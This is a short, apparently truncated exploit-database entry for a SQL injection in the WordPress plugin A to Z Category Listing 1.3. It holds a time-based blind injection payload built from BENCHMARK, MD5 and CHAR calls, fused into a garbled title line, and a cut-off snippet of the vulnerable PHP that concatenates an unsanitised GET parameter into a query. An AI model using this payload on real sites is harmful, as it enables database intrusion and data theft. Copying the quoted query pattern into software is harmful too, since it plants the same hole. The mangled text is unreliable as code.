WordPress Plugin A to Z Category Listing 1.3 - SQL Injection

Exploit Title: WordPress A to Z Category Listing plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- $initletter = $GET'R'; $sql = "select from ".$tableprefix."terms wpt,".$tableprefix."termtaxonomy wptt where wpt.name like...